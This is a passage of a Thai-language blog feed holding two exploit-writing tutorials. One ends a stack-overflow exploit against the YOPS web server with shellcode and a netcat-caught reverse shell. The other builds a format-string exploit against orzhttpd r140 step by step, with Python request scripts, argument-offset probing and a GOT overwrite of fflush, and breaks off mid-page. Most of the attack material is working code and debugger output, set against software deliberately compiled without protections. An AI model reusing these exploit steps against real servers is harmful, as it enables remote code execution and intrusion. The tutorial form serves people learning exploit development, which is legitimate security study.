0x42424242&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ค่าทุกค่าเป็นไปตามที่เราต้องการแล้ว ตอนนี้เราก็ต้องมาจัดการกับ &lt;span class="code"&gt;job&lt;/span&gt; argument ถ้าเรามาดู code ส่วนนี้อีกครั้ง&lt;/p&gt;&lt;pre class="code language-bsh linenums:563"&gt;&lt;br /&gt;    if (strlen(job-&amp;gt;reason_500)) {&lt;br /&gt;        strcat(logrec, " [");&lt;br /&gt;        strcat(logrec, job-&amp;gt;reason_500);&lt;br /&gt;        strcat(logrec, "]");&lt;br /&gt;    }&lt;br /&gt;    strcat(logrec, "\n");&lt;br /&gt;    err = write(log, logrec, strlen(logrec));&lt;br /&gt;    flock(log, LOCK_UN);&lt;br /&gt;    return 0;&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;โปรแกรมทำการ check ว่า &lt;span class="code"&gt;job-&amp;gt;reasion_500&lt;/span&gt; เก็บข้อความอะไรไว้หรือไม่ ถ้าไม่เก็บจะไม่ทำใน if และหลังจากนั้นจะไม่มีการอ้างถึง &lt;span class="code"&gt;job&lt;/span&gt; arguemnt อีก ดังนั้นเพื่อให้ง่ายเราควรที่จะเขียนทับค่า &lt;span class="code"&gt;job&lt;/span&gt; ที่ทำให้ &lt;span class="code"&gt;job&amp;gt;reasion_500&lt;/span&gt; นั้นชี้ไปที่ข้อความที่มีความยาวเป็น 0&lt;/p&gt;&lt;p&gt;เนื่องด้วยโปรแกรมที่อยู่ใน memory แบ่งเป็น section ต่างๆ และ section ที่เก็บ string เอาไว้คือ .rodata ดังนั้นผมจะขอยืมใช้ address ในนี้ที่เก็บ NULL เอาไว้เพื่อให้โปรแกรมทำงานต่อไปได้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ objdump -h swebs | grep -A 1 .rodata&lt;br /&gt; 15 .rodata       00000b6f  0804d0c8  0804d0c8  000050c8  2**2&lt;br /&gt;                  CONTENTS, ALLOC, LOAD, READONLY, DATA&lt;br /&gt;$ objdump -s -j .rodata swebs | head&lt;br /&gt;&lt;br /&gt;swebs:     file format elf32-i386&lt;br /&gt;&lt;br /&gt;Contents of section .rodata:&lt;br /&gt; 804d0c8 03000000 01000200 57652064 6f6e2774  ........We don't&lt;br /&gt; 804d0d8 2077616e 7420746f 2072756e 20776974   want to run wit&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จาก objdump จะได้ว่า secion .rodata ถูกโหลดที่ address 0x0804d0c8 โดยเราสามารถดู content ได้ด้วยคำสั่ง &lt;span class="code"&gt;x/s&lt;/span&gt; ใน gdb หรือใช้ objdump ที่ผมทำข้างบน ซึ่งจะได้ address ที่เก็บ NULL ไว้คือ 0x0804d0c9&lt;/p&gt;&lt;p&gt;หลังจากได้ address ของ NULL มา แล้วเราจะเขียนทับค่า &lt;span class="code"&gt;job&lt;/span&gt; เป็นอะไรละ เนื่องจาก &lt;span class="code"&gt;job&lt;/span&gt; เป็นตัวแปรชนิด struct เวลาอ้างถึงตัวแปรใน struct ใน assembly จะรู้ offset แล้วบวกไปจาก address เริ่มต้นของ struct นั้น ดังนั้นถ้าเรามาดู assembly จากจุดที่โปรแกรม crash (ถ้าใครออกจาก gdb แล้วใครทำอีกรอบให้โปรแกรม crash ที่ &lt;span class="code"&gt;strlen(job-&amp;gt;reason_500)&lt;/span&gt;)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;(gdb) x/5i $eip-13&lt;br /&gt;   0x804a8b4 &amp;lt;swebs_record_log+232&amp;gt;:    call   0x8048d1c &amp;lt;sprintf@plt&amp;gt;&lt;br /&gt;   0x804a8b9 &amp;lt;swebs_record_log+237&amp;gt;:    mov    0xc(%ebp),%eax&lt;br /&gt;   0x804a8bc &amp;lt;swebs_record_log+240&amp;gt;:    add    $0x1024,%eax&lt;br /&gt;=&amp;gt; 0x804a8c1 &amp;lt;swebs_record_log+245&amp;gt;:    movzbl (%eax),%eax&lt;br /&gt;   0x804a8c4 &amp;lt;swebs_record_log+248&amp;gt;:    test   %al,%al&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่า offset คือ 0x1024 ดังนั้นถ้าเราลองเขียนทับค่า job ใหม่ (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex12_yops_5.py?attredirects=0&amp;d=1"&gt;ex12_yops_5.py&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;(gdb) r&lt;br /&gt;...&lt;br /&gt;[Switching to Thread 0xb7fffb70 (LWP 2053)]&lt;br /&gt;0x42424242 in ?? ()&lt;br /&gt;(gdb) i r eip&lt;br /&gt;eip            0x42424242       0x42424242&lt;br /&gt;(gdb) x/24x $esp-800&lt;br /&gt;0xb7fff030:     0x41414141      0x41414141      0x41414141      0x41414141&lt;br /&gt;0xb7fff040:     0x41414141      0x41414141      0x41414141      0x41414141&lt;br /&gt;0xb7fff050:     0x41414141      0x41414141      0x41414141      0x41414141&lt;br /&gt;0xb7fff060:     0x41414141      0x41414141      0x41414141      0x41414141&lt;br /&gt;0xb7fff070:     0x41414141      0x41414141      0x41414141      0x41414141&lt;br /&gt;0xb7fff080:     0x41414141      0x41414141      0x41414141      0x41414141&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;โปรแกรม crash เนื่องด้วย eip ชี้ไปที่ invalid address แล้ว ดังนั้นผมจึงหา address ของตัวษร A ของเราต่อทันที ซึ่งจะเป็นที่เราใส่ shellcode เข้าไป โดยผมจะใช้ shellcode เดียวกับตัวอย่างของ orzhttpd และก็ให้ดูด้วยว่าเรามี space ที่จะใส่ shellcode น้อยกว่า 789 bytes (ขนาดของ logrec โดยผมจะใช้ 700 bytes) เพราะตัวแปร &lt;span class="code"&gt;method&lt;/span&gt; และ &lt;span class="code"&gt;file&lt;/span&gt; โดนแก้ไข แต่ต้องอย่าลืมว่า shellcode พวกนี้ต้องการใช้พื้นที่ใน stack ดังนั้นเพื่อป้องกันไม่ให้ shellcode เราโดนแก้ไข เราควรทำการ adjust stack pointer ด้วย&lt;/p&gt;&lt;p&gt;ในตัวอย่าง Integer Overflow ผมได้ใส่ &lt;span class="code"&gt;"add esp"&lt;/span&gt; ซึ่งจะทำให้มี 0x00 ซึ่งเป็น badchar สำหรับโปรแกรมนี้ ดังนั้นวิธีหนึ่งคือนำ shellcode สำหรับ &lt;span class="code"&gt;"add esp"&lt;/span&gt; มาต่อกับ reverse shell ที่ยังไม่โดน encode แล้วค่อยส่งเข้าไปที่ msfencode ทีเดียว แต่ผมจะใช้อีกวิธีหนึ่ง (ขี้เกียจ) โดยเลี่ยง badchar โดยใช้คำสั่ง &lt;span class="code"&gt;"sub esp"&lt;/span&gt; กับค่าที่เป็นลบ&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ /opt/metasploit3/msf3/tools/nasm_shell.rb&lt;br /&gt;nasm &amp;gt; sub esp,-200&lt;br /&gt;00000000  81EC38FFFFFF      sub esp,0xffffff38&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ได้ทุกอย่างที่ต้องการ นำมาเขียน exploit (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex12_yops.py?attredirects=0&amp;d=1"&gt;ex12_yops.py&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;# run ./swebs (ไม่จำเป็นต้องใช้ gdb แล้ว) อีก terminal หนึ่งก่อน&lt;br /&gt;$ nc -nv -l 4444&lt;br /&gt;Connection from 127.0.0.1 port 4444 [tcp/*] accepted&lt;br /&gt;id&lt;br /&gt;uid=1000(worawit) gid=1000(worawit) groups=4(adm),20(dialout),24(cdrom),46(plugdev),105(lpadmin),119(admin),122(sambashare),1000(worawit)&lt;br /&gt;&lt;/pre&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/4476954070144250460-36376214994598224?l=thtutz.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://thtutz.blogspot.com/feeds/36376214994598224/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://thtutz.blogspot.com/2011/05/exploiting-yops-web-server-2009-11-30.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/36376214994598224'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/4476954070144250460/posts/default/36376214994598224'/><link rel='alternate' type='text/html' href='http://thtutz.blogspot.com/2011/05/exploiting-yops-web-server-2009-11-30.html' title='Exploiting YOPS Web Server 2009-11-30 (disable all security options)'/><author><name>Worawit (sleepya)</name><uri>http://www.blogger.com/profile/16667985019731254845</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='16' height='16' src='http://img2.blogblog.com/img/b16-rounded.gif'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-4476954070144250460.post-2123404306595280144</id><published>2011-05-02T22:15:00.001+07:00</published><updated>2011-12-03T11:31:47.832+07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='writing exploit'/><title type='text'>Exploiting orzhttpd r140 (disable all security options)</title><content type='html'>&lt;p&gt;เราดูการเขียน exploit สำหรับโปรแกรมจริงๆ กันบางดีกว่า เดี๋ยวจะหาว่าไม่มีโปรแกรมจริงๆ เลย ตัวอย่างแรกที่จะมาให้ดูคือ orzhttpd rivision 140 ซึ่งมีคนได้เขียน exploit ไว้แล้วที่ &lt;a href="http://www.exploit-db.com/exploits/10282/"&gt;http://www.exploit-db.com/exploits/10282/&lt;/a&gt; โดยเราจะมาดูถึงปัญหาของโปรแกรมนี้ และเขียน exploit กัน โดยสมมติว่าโปรแกรม compile แบบไม่มีการป้องกันใดๆ (ถึงแม้โปรแกรมนี้จะเก่า และไม่มีการพัฒนาต่อ บวกกับไม่มีคนใช้งาน แต่อย่างน้อยเราจะได้เห็นว่าเขียน exploit ใน application จริงๆ ขนาดเล็กๆ เป็นอย่างไร)&lt;/p&gt;&lt;h4&gt;Installation&lt;/h4&gt;&lt;p&gt;ก่อนอื่นเราเริ่มที่ดึง source code แล้ว compile กันก่อน&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ svn export -r 140 http://orzhttpd.googlecode.com/svn/trunk/ orzhttpd&lt;br /&gt;...&lt;br /&gt;Exported revision 140.&lt;br /&gt;$ sudo apt-get install libevent-dev libssl-dev libexpat-dev&lt;br /&gt;...&lt;br /&gt;$ cd orzhttpd&lt;br /&gt;$ CFLAGS="-fno-stack-protector -z norelro -z execstack -D_FORTIFY_SOURCE=0" make linux&lt;br /&gt;...&lt;br /&gt;log.c: In function ‘serverlog’:&lt;br /&gt;log.c:34: warning: format not a string literal and no format arguments&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เมื่อ compile เสร็จแล้ว ก็ให้ตั้งค่าตามนี้ (ไฟล์ &lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/orzhttpd_config.xml?attredirects=0&amp;d=1"&gt;config.xml&lt;/a&gt; สำหรับคนไม่อยากแก้เอง)&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ sed -e 's/&amp;gt;www&amp;lt;/&amp;gt;www-data&amp;lt;/' config.xml.sample &amp;gt; config.xml&lt;br /&gt;$ sudo mkdir -p /usr/local/www/log /usr/local/www/data&lt;br /&gt;$ sudo chown www-data: /usr/local/www/log&lt;br /&gt;$ sudo touch /usr/local/www/data/index.html&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เมื่อทุกอย่างพร้อมแล้ว ก็เริ่ม orzhttpd ด้วยคำสั่ง&lt;/p&gt;&lt;pre class="code langauge-bsh"&gt;&lt;br /&gt;$ sudo ./orzhttpd -f config.xml&lt;br /&gt;&lt;/pre&gt;&lt;h4&gt;Vulnerability&lt;/h4&gt;&lt;p&gt;เรามาดูปัญหาของโปรแกรม โดยผมจะอาศัยข้อมูลที่มีอยู่แล้วใน internet เพื่อความรวดเร็ว จาก svn log ที่ &lt;a href="http://code.google.com/p/orzhttpd/source/detail?r=141"&gt;http://code.google.com/p/orzhttpd/source/detail?r=141&lt;/a&gt; จะเห็นว่าปัญหาอยู่ใน log.c และเมื่อเราดู &lt;a href="http://code.google.com/p/orzhttpd/source/diff?spec=svn141&amp;r=141&amp;format=side&amp;path=/trunk/log.c"&gt;diff&lt;/a&gt; จะเห็นว่ามีการแก้ไขอยู่ 2 บรรทัด คือบรรทัดของคำสั่ง vsprintf กับ fprintf&lt;/p&gt;&lt;pre class="code language-c linenums:27"&gt;&lt;br /&gt;    if (format != NULL)&lt;br /&gt;    {&lt;br /&gt;        va_start(ap, format);&lt;br /&gt;        vsprintf(buf, format, ap); // ไม่มีการกำหนดว่าให้ใส่ข้อมูล buf ได้เท่าไร ==&gt; buffer overflow&lt;br /&gt;        va_end(ap);&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    fprintf(log, buf); // นำข้อมูลมาใช้เป็น format string ==&gt; format string bug&lt;br /&gt;    fflush(log);&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;โดยในโปรแกรมนี้ ผมจะ exploit ที่ format string bug เนื่องจากถ้าเราทำ stack based buffer overflow เราจะต้องมีการเขียนทับตัวแปร &lt;span class="code"&gt;ap&lt;/span&gt; และ &lt;span class="code"&gt;log&lt;/span&gt; ก่อนจะสามารถเขียนทับ saved eip ได้ ทำให้เราต้องเขียนค่าที่สามารถทำให้โปรแกรมทำงานจนจบ function เราถึงจะควบคุม eip ได้ ซึ่งจะยากกว่าการใช้ format string bug ที่สามารถเขียนทับที่ไหนก็ได้เลย&lt;/p&gt;&lt;p&gt;เรามาดูกันก่อนดีกว่าว่า ส่วนโค้ดที่มีปัญหาในฟังก์ชัน &lt;span class="code"&gt;serverlog()&lt;/span&gt; โดนเรียกเมื่อไร จากไหน จะเห็นว่า&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ grep -n serverlog *.c&lt;br /&gt;log.c:7:serverlog(LOG_TYPE_t type, const char *format, ...)&lt;br /&gt;log.c:84:    server-&amp;gt;log = serverlog;&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่า serverlog function นั้น ไม่โดนเรียกโดยตรง แต่ใช้ pointer to function &lt;span class="code"&gt;server-&amp;gt;log&lt;/span&gt; เก็บ address ของ serverlog function และเมื่อหาต่อ&lt;/p&gt;&lt;pre class="code language=bsh"&gt;&lt;br /&gt;$ grep -n 'server-&amp;gt;log' *.c&lt;br /&gt;log.c:84:    server-&amp;gt;log = serverlog;&lt;br /&gt;log.c:86:    if (server-&amp;gt;log == NULL)&lt;br /&gt;log.c:87:       error_exit("server-&amp;gt;log == NULL");&lt;br /&gt;log.c:136:      server-&amp;gt;log(ACCESS_LOG, "%s %s - [%s] \"%s %s?%s %s\" %d %d \"%s\"\n",&lt;br /&gt;log.c:145:      server-&amp;gt;log(ACCESS_LOG, "%s %s - [%s] \"%s %s %s\" %d %d \"%s\"\n",&lt;br /&gt;request.c:60:    server-&amp;gt;log(ERROR_LOG, "%s\n", conn-&amp;gt;read_buf.buf);&lt;br /&gt;status.c:160:   server-&amp;gt;log(ERROR_LOG, "%s", response);&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;ถ้าเราดูใน request.c และ status.c จะเห็นว่า code ที่เรียก &lt;span class="code"&gt;server-&amp;gt;log()&lt;/span&gt; นั้นอยู่ใน &lt;span class="code"&gt;"#ifdef  HTTPD_DEBUG"&lt;/span&gt; ซึ่งจะไม่ถูก compile อยู่ใน binary ของเรา ดังนั้นเรามาดูที่ log.c จะอยู่ในฟังก์ชัน log_request&lt;/p&gt;&lt;pre class="code langauge-c linenums:113"&gt;&lt;br /&gt;void&lt;br /&gt;log_request(CONN_t *conn)&lt;br /&gt;{&lt;br /&gt;#ifdef  IPV6_HTTPD&lt;br /&gt;    char            address[INET6_ADDRSTRLEN];&lt;br /&gt;#else&lt;br /&gt;    char            address[INET_ADDRSTRLEN];&lt;br /&gt;#endif&lt;br /&gt;    char            datemsg[30];&lt;br /&gt;    int             ret;&lt;br /&gt;&lt;br /&gt;    if (conn-&amp;gt;status.st == HTTP_STATUS_400)&lt;br /&gt;        return;&lt;br /&gt;&lt;br /&gt;    if ((ret = get_IP((struct sockaddr *)&amp;conn-&amp;gt;cin, server-&amp;gt;salen, address, sizeof(address))) != 0)&lt;br /&gt;    {&lt;br /&gt;        *address = '\0';&lt;br /&gt;#if 0&lt;br /&gt;        fprintf(stderr, "getnameinfo error: %s\n", gai_strerror(ret));&lt;br /&gt;#endif&lt;br /&gt;    }&lt;br /&gt;&lt;br /&gt;    if (conn-&amp;gt;request.uri.query)&lt;br /&gt;        server-&amp;gt;log(ACCESS_LOG, "%s %s - [%s] \"%s %s?%s %s\" %d %d \"%s\"\n",&lt;br /&gt;                address, conn-&amp;gt;request.uri.authority,&lt;br /&gt;                log_time(datemsg, sizeof(datemsg)),&lt;br /&gt;                http_method_str(conn),&lt;br /&gt;                conn-&amp;gt;request.uri.path_raw, conn-&amp;gt;request.uri.query,&lt;br /&gt;                http_version(conn),&lt;br /&gt;                conn-&amp;gt;status.st, conn-&amp;gt;response.content_length,&lt;br /&gt;                conn-&amp;gt;request.user_agent);&lt;br /&gt;    else&lt;br /&gt;        server-&amp;gt;log(ACCESS_LOG, "%s %s - [%s] \"%s %s %s\" %d %d \"%s\"\n",&lt;br /&gt;                address, conn-&amp;gt;request.uri.authority,&lt;br /&gt;                log_time(datemsg, sizeof(datemsg)),&lt;br /&gt;                http_method_str(conn),&lt;br /&gt;                conn-&amp;gt;request.uri.path_raw,&lt;br /&gt;                http_version(conn),&lt;br /&gt;                conn-&amp;gt;status.st, conn-&amp;gt;response.content_length,&lt;br /&gt;                conn-&amp;gt;request.user_agent);&lt;br /&gt;}&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่าฟังก์ชันชื่อ log_request และเมื่อดูจาก arguments ต่างๆที่เรียก serverlog function ทำให้เดาได้ว่า ทุกๆ request ที่มีการ log จะมีการเรียกโค้ดที่มีปัญหา&lt;/p&gt;&lt;p&gt;เมื่อดู argument &lt;span class="code"&gt;conn-&amp;gt;request.uri.path_raw&lt;/span&gt; ซึ่งเดาได้ว่าคือ request ของเรามีการส่งผ่านไปที่ serverlog function และเมื่อถึงบรรทัด &lt;span class="code"&gt;vsprintf&lt;/span&gt; ซึ่งไม่มีการกำหนดขนาดของ &lt;span class="code"&gt;buf&lt;/span&gt; ทำให้เมื่อเราส่ง request ที่มีขนาดยาวๆ จะทำให้เกิด buffer overflow แต่เราจะไม่ทำให้เกิด buffer overflow ในกรณีนี้&lt;/p&gt;&lt;p&gt;เมื่อโปรแกรมทำงานถึงบรรทัด &lt;span class="code"&gt;fprintf&lt;/span&gt; เพื่อที่จะเขียน log ลงในไฟล์ สำหรับคนที่ยังไม่มีประสบการณ์ อาจจะมองว่าตัวแปร &lt;span class="code"&gt;buf&lt;/span&gt; นั้น โปรแกรมควมคุบเอาไว้ แต่จริงๆ แล้วถ้าเราส่ง request ที่เป็น format string เช่น "%x" จะทำให้ตัวแปร &lt;span class="code"&gt;buf&lt;/span&gt; มี format string ที่มาจากเรา และเมื่อโปรแกรมเรียก &lt;span class="code"&gt;fprintf&lt;/span&gt; ที่ใช้ &lt;span class="code"&gt;buf&lt;/span&gt; เป็น format string ทำให้โปรแกรมแปล format string ที่เราส่งเข้าไป&lt;/p&gt;&lt;h4&gt;Exploitation&lt;/h4&gt;&lt;p&gt;ถึงเวลาเริ่มเขียน exploit กันแล้ว เรามาลองเขียนโปรแกรมเล็กๆ (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex12_orzhttpd_1.py?attredirects=0&amp;d=1"&gt;ex12_orzhttpd_1.py&lt;/a&gt;) เพื่อที่จะดูผลลัพธ์กันก่อน&lt;/p&gt;&lt;pre class="code language-python"&gt;&lt;br /&gt;import socket&lt;br /&gt;&lt;br /&gt;target_ip = "127.0.0.1"&lt;br /&gt;target_port = 80&lt;br /&gt;def send_request(ip, port, request):&lt;br /&gt;    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)&lt;br /&gt;    s.connect((ip, port))&lt;br /&gt;    s.send(request)&lt;br /&gt;    msg = s.recv(8192)&lt;br /&gt;    s.close()&lt;br /&gt;    return msg&lt;br /&gt;&lt;br /&gt;print send_request(target_ip, target_port, "GET /index.html HTTP/1.0\r\n\r\n")&lt;br /&gt;print send_request(target_ip, target_port, "GET %x%x HTTP/1.0\r\n\r\n")&lt;br /&gt;print send_request(target_ip, target_port, "GET /%x%x HTTP/1.0\r\n\r\n")&lt;br /&gt;print send_request(target_ip, target_port, "PWN /%x%x HTTP/1.0\r\n\r\n")&lt;br /&gt;&lt;/pre&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ python ex12_orzhttpd_1.py&lt;br /&gt;HTTP/1.0 200 OK&lt;br /&gt;Date: Mon, 02 May 2011 08:03:25 GMT&lt;br /&gt;Connection: close&lt;br /&gt;Server: OrzHTTPd/0.0.6 (Linux)&lt;br /&gt;Content-Type: text/html&lt;br /&gt;Content-Length: 0&lt;br /&gt;Last-Modified: Fri, 15 Apr 2011 08:57:50 GMT&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;HTTP/1.0 400 Bad Request&lt;br /&gt;&lt;br /&gt;HTTP/1.0 404 Not Found&lt;br /&gt;&lt;br /&gt;HTTP/1.0 501 Not Implemented&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;และเมื่อดูที่ log&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ cat /usr/local/www/log/orzhttpd.access.log&lt;br /&gt;127.0.0.1 - - [02/May/2011 15:03:25 +0700] "GET /index.html HTTP/1.0" 200 0 "-"&lt;br /&gt;127.0.0.1 - - [02/May/2011 15:03:25 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 404 0 "-"&lt;br /&gt;127.0.0.1 - - [02/May/2011 15:03:25 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 501 0 "-"&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่าเรา request ไป 4 ครั้ง แต่มี log เพียงแค่ 3 อัน ซึ่งเมื่อดูแล้ว จะไม่มี log ของ return code 400 ซึ่งเป็นที่ request ที่ 2 &lt;span class="code"&gt;"GET %x%x"&lt;/span&gt; ส่วนใน request ที่ 3 เป็นการยืนยัน format string bug และใน request ที่ 4 ถึงแม้ว่าเราจะใช้ HTTP method โปรแกรมก็ยังคง log และถ้าเราลองส่ง request จากเครื่องอื่น (IP: 192.168.1.101) จะเห็น log เป็น&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;192.168.1.101 - - [02/May/2011 15:10:36 +0700] "GET /index.html HTTP/1.0" 200 0 "-"&lt;br /&gt;192.168.1.101 - - [02/May/2011 15:10:36 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 404 0 "-"&lt;br /&gt;192.168.1.101 - - [02/May/2011 15:10:36 +0700] "GET /bfffe528bfffe528 HTTP/1.0" 501 0 "-"&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่าใน log จะมีการใส่ IP ของเครื่อง client ไว้ด้วย ซึ่งความยาวอาจจะมีความยาวไม่เท่ากัน โดยจะมีผลกับการอ้างตำแหน่งของ argument สำหรับ format string ที่เราจะใส่ เพราะว่า format string ของเราที่อยู่ในตัวแปร &lt;span class="code"&gt;buf&lt;/span&gt; นั้นอยู่หลัง &lt;span class="code"&gt;"GET /"&lt;/span&gt; ถ้าความยาวของ string ข้างหน้าไม่คงที่ จะทำให้ exploit เราทำงานได้บ้่าง ไม่ได้บ้าง (เดี๋ยวจะเห็นว่าจะจัดการกับกรณีนี้ยังไง)&lt;/p&gt;&lt;p&gt;เมื่อเราเห็นแล้วว่าสามารถใช้ format string bug ได้ ขั้นตอนต่อไปคือหา ตำแหน่งของ argument ที่อยู่ในส่วนที่เราควบคุม และจะใส่ address ที่จะเขียนลงไป (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex12_orzhttpd_2.py?attredirects=0&amp;d=1"&gt;ex12_orzhttpd_2.py&lt;/a&gt;) โดยในนี้จะแสดงเฉพาะส่วนสำคัญ&lt;/p&gt;&lt;pre class="code language-python"&gt;&lt;br /&gt;for i in range(1, 25):&lt;br /&gt;    print send_request(target_ip, target_port, "GET /AAAA_%d_%%%d$x HTTP/1.0\r\n\r\n" % (i,i))&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;และเมื่อดูใน log จะได้&lt;/p&gt;&lt;pre class="code langauge-bsh"&gt;&lt;br /&gt;127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_1_bfffe528 HTTP/1.0" 404 0 "-"&lt;br /&gt;...&lt;br /&gt;127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_14_20544547 HTTP/1.0" 404 0 "-"&lt;br /&gt;127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_15_4141412f HTTP/1.0" 404 0 "-"&lt;br /&gt;127.0.0.1 - - [02/May/2011 20:21:34 +0700] "GET /AAAA_16_36315f41 HTTP/1.0" 404 0 "-"&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;จะเห็นว่าตำแหน่ง argument ของ format string ที่เราเริ่มควบคุมได้คือ 15 แต่ถ้าผมลองต่อจาก IP 192.168.1.101 ดูจะได้ log เป็น&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;...&lt;br /&gt;192.168.1.101 - - [02/May/2011 20:31:02 +0700] "GET /AAAA_15_20544547 HTTP/1.0" 404 0 "-"&lt;br /&gt;192.168.1.101 - - [02/May/2011 20:31:02 +0700] "GET /AAAA_16_4141412f HTTP/1.0" 404 0 "-"&lt;br /&gt;192.168.1.101 - - [02/May/2011 20:31:02 +0700] "GET /AAAA_17_37315f41 HTTP/1.0" 404 0 "-"&lt;br /&gt;...&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;คราวนี้อยู่ที่ตำแหน่ง 16 เลื่อนไปหนึ่ง แล้วเราจะทำให้ exploit เรา reliable ได้ไงละเนี่ย ง่ายๆ คือเราต้องรู้ IP ของเราที่ server เห็นก่อนที่จะ exploit แล้วเราจะต้องนำความยาวมาคำนวณ ความ IPv4 address ที่สั้นที่สุดที่เป็นไปได้คือ "x.x.x.x" ซึ่งยาว 7 และ IPv4 address ที่ยาวที่สุดที่เป็นไปได้คือ "xxx.xxx.xxx.xxx" ซึ่งยาว 15&lt;/p&gt;&lt;p&gt;เราได้ตำแหน่ง argument ของ format string ของ "192.168.1.101" ซึ่งยาว 13 ดังนั้นถ้า IP address ยาว 15 ตัวอักษรเราจะใส่ "/A" สำหรับ padding และใช้ตำแหน่ง 17,18 สำหรับอ้างอิงใน format string ของเรา ส่วนถ้า IP address ที่สั้นกว่านี้ เราะจะ pad ด้วย A ชดเชยความยาว IP address ที่สั้นลง ซึ่งจะโค้ดเป็นแบบนี้ (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex12_orzhttpd_3.py?attredirects=0&amp;d=1"&gt;ex12_orzhttpd_3.py&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-python"&gt;&lt;br /&gt;my_pub_ip = "127.0.0.1"&lt;br /&gt;# 15 is max IP address length "xxx.xxx.xxx.xxx"&lt;br /&gt;req_string = "GET /A" + "A"*(15-len(my_pub_ip)) + "BBBBCCCC" + "_%17$x%18$x HTTP/1.0\r\n\r\n"&lt;br /&gt;print send_request(target_ip, target_port, req_string)&lt;br /&gt;&lt;/pre&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;127.0.0.1 - - [02/May/2011 20:52:18 +0700] "GET /AAAAAAABBBBCCCC_4242424243434343 HTTP/1.0" 404 0 "-"&lt;br /&gt;192.168.1.101 - - [02/May/2011 20:51:33 +0700] "GET /AAABBBBCCCC_4242424243434343 HTTP/1.0" 404 0 "-"&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เมื่อได้ตำแหน่งของ argument สำหรับ format string ต่อมาคือหาว่าเราจะเขียนทับที่ไหน โดยผมจะเขียนทับที่ GOT entry fflush เพราะว่าจะมีการเรียก fflush หลังจากการเรียก fprintf ที่เราสามารถเขียบทับค่าที่ไหนก็ได้&lt;/p&gt;&lt;pre class="code language-bsh"&gt;&lt;br /&gt;$ objdump -R orzhttpd | grep fflush&lt;br /&gt;0804ea04 R_386_JUMP_SLOT   fflush&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;สำหรับค่าที่จะใส่ใน fflush GOT entry นั้นคือ address ของ shellcode ของเรา ดังนั้นเราต้องหา address โดยลองส่ง request เข้าไปพร้อมกับ format string เพื่อทำการทดสอบ (&lt;a href="https://sites.google.com/site/worawita/files/thtutz/linexp/ex12_orzhttpd_4.py?attredirects=0&amp;d=1"&gt;ex12_orzhttpd_4.py&lt;/a&gt;)&lt;/p&gt;&lt;pre class="code language-python"&gt;&lt;br /&gt;req_fmt = pack("&amp;lt;II", 0x0804ea06, 0x0804ea04) + "%17$hn%18$hn"&lt;br /&gt;sc = "\x90"*1024&lt;br /&gt;print send_request(target_ip, target_port, req_padding + req_fmt + sc + " HTTP/1.0\r\n\r\n")&lt;br /&gt;&lt;/pre&gt;&lt;p&gt;เราจะ gdb เพื่อดูค่า โดยเราจะตั้ง breakpoint ไว้ที่ fflush&lt;/p&gt;&lt;pre class="code 